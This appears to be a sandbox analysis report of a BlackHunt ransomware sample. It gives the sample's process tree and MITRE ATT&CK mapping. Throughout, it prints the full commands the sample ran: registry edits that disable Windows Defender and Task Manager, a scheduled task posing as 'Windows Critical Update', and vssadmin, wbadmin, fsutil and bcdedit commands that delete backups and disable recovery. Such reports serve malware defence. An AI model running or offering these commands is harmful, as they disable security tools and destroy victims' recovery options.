Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe
"C:\Users\Admin\AppData\Local\Temp\51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3752
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:436
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5080
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3984
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2424
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:4336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:1624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:1828
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:4512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:4824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:4600
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:4232
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:5396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:3940
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:1144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:4732
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:5512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:1472
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:5552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2972
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:5496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:4204
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:5752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:3404
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:6100
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1300
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3280
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:6092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:3968
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:5480
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:4676
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:5948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1584
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:6116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:3860
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:6084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:4604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:5620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:3172
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:5940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:1284
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:5956
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:452
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1512
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:4208
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:5808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2816
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:6072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:1948
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:6064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe" /F
  2⤵
  PID:2844
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\51a8e6401fb3a9a3ce500662a66299e3df7c9a47df23e470a4aa32e4d60314b4.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:6340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:4408
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:6108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:3744
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:6460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:2836
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:7080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:4220
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:7036
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:4584
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:7004
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2576
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:4784
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:6900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1600
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:5628
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:4140
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:6016
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:4564
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:4340
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:5972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:5648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:7144
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:3456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:276
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    PID:860

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2160

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:6844

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:492

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:920

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Inhibit System Recovery